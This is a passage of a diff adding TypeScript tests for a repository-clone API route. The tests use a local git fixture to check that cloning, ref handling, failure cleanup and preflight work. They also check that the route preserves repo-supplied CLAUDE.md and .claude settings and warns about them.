+      expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.ALREADY_EXISTS));
+      expect(JSON.parse(res.body).error).toMatch(/already exists/i);
+    } finally {
+      rmSync(join(CASES_DIR, 'taken'), { recursive: true, force: true });
+    }
+  });
+});
+
+describe.skipIf(!gitPresent)('POST /api/cases/clone — real clone', () => {
+  let root: string;
+  let origin: string;
+  const created: string[] = [];
+
+  const git = (args: string[], cwd: string) =>
+    execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
+
+  beforeAll(() => {
+    root = mkdtempSync(join(tmpdir(), 'codeman-clone-route-'));
+    origin = join(root, 'origin.git');
+    mkdirSync(origin);
+    git(['init', '--bare', '--quiet'], origin);
+
+    const work = join(root, 'work');
+    mkdirSync(work);
+    git(['init', '--quiet'], work);
+    git(['config', 'user.email', 'test@example.com'], work);
+    git(['config', 'user.name', 'Codeman Test'], work);
+    writeFileSync(join(work, 'README.md'), '# fixture\n');
+    // The repo ships BOTH files the scaffolder would otherwise write.
+    writeFileSync(join(work, 'CLAUDE.md'), '# repository-owned CLAUDE.md\n');
+    mkdirSync(join(work, '.claude'));
+    writeFileSync(join(work, '.claude', 'settings.json'), '{"permissions":{}}\n');
+    git(['add', '.'], work);
+    git(['commit', '--quiet', '-m', 'initial'], work);
+    git(['branch', '-M', 'main'], work);
+    git(['tag', 'v1'], work);
+    git(['remote', 'add', 'origin', origin], work);
+    git(['push', '--quiet', 'origin', 'main', '--tags'], work);
+    git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
+  });
+
+  afterAll(() => {
+    rmSync(root, { recursive: true, force: true });
+    for (const name of created) rmSync(join(CASES_DIR, name), { recursive: true, force: true });
+  });
+
+  beforeEach(buildApp);
+  afterEach(async () => {
+    await app.close();
+  });
+
+  it('clones into the case directory and broadcasts case:created', async () => {
+    created.push('cloned-case');
+    const res = await clone({ name: 'cloned-case', repository: origin });
+    expect(res.statusCode).toBe(200);
+    const body = JSON.parse(res.body);
+    expect(body.success).toBe(true);
+    expect(body.data.case).toEqual({ name: 'cloned-case', path: join(CASES_DIR, 'cloned-case') });
+    expect(existsSync(join(CASES_DIR, 'cloned-case', 'README.md'))).toBe(true);
+    expect(existsSync(join(CASES_DIR, 'cloned-case', '.git'))).toBe(true);
+    expect(ctx.broadcast).toHaveBeenCalledWith('case:created', {
+      name: 'cloned-case',
+      path: join(CASES_DIR, 'cloned-case'),
+    });
+  });
+
+  it("keeps the repository's own CLAUDE.md and warns about repo-supplied .claude settings", async () => {
+    created.push('keeps-files');
+    const res = await clone({ name: 'keeps-files', repository: origin });
+    const body = JSON.parse(res.body);
+    expect(readFileSync(join(CASES_DIR, 'keeps-files', 'CLAUDE.md'), 'utf-8')).toBe('# repository-owned CLAUDE.md\n');
+    expect(body.data.warnings.join(' ')).toMatch(/Kept the repository/);
+    // Repo-shipped hooks run on this machine: the response has to say so.
+    expect(body.data.warnings.join(' ')).toMatch(/ships its own \.claude/);
+  });
+
+  it('installs Codeman hooks alongside whatever the repo shipped', async () => {
+    created.push('hooked');
+    await clone({ name: 'hooked', repository: origin });
+    const settingsPath = join(CASES_DIR, 'hooked', '.claude', 'settings.local.json');
+    expect(existsSync(settingsPath)).toBe(true);
+    expect(JSON.parse(readFileSync(settingsPath, 'utf-8')).hooks).toBeTruthy();
+    // The repo's own settings.json is untouched.
+    expect(readFileSync(join(CASES_DIR, 'hooked', '.claude', 'settings.json'), 'utf-8')).toBe('{"permissions":{}}\n');
+  });
+
+  it('honors a ref and reports it back', async () => {
+    created.push('at-tag');
+    const res = await clone({ name: 'at-tag', repository: origin, ref: 'v1', shallow: true });
+    expect(res.statusCode).toBe(200);
+    const body = JSON.parse(res.body);
+    expect(body.data.ref).toBe('v1');
+    expect(existsSync(join(CASES_DIR, 'at-tag', 'README.md'))).toBe(true);
+  });
+
+  it('leaves no case directory behind when the clone fails', async () => {
+    const res = await clone({ name: 'ghost-case', repository: join(root, 'no-such-repo.git') });
+    expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.NOT_FOUND));
+    expect(JSON.parse(res.body).error).toMatch(/not found/i);
+    // A leftover empty directory would occupy the name forever.
+    expect(existsSync(join(CASES_DIR, 'ghost-case'))).toBe(false);
+  });
+
+  it('reports a missing ref as invalid input, not a server error', async () => {
+    const res = await clone({ name: 'bad-ref-case', repository: origin, ref: 'no-such-branch' });
+    expect(res.statusCode).toBe(400);
+    expect(existsSync(join(CASES_DIR, 'bad-ref-case'))).toBe(false);
+    // git's FIRST stderr line is "Cloning into '<dest>'..." — quoting that as the
+    // reason told the user the destination path when the ref was the problem.
+    const error = JSON.parse(res.body).error as string;
+    expect(error).not.toMatch(/Cloning into/);
+    expect(error).toMatch(/branch or tag/i);
+  });
+
+  it('preflights the local fixture for its branches and tags', async () => {
+    const res = await preflight(origin);
+    const body = JSON.parse(res.body);
+    expect(body.data.parse.transport).toBe('local');
+    expect(body.data.remote.reachable).toBe(true);
+    expect(body.data.remote.defaultBranch).toBe('main');
+    expect(body.data.remote.tags).toEqual(['v1']);
+  });
+});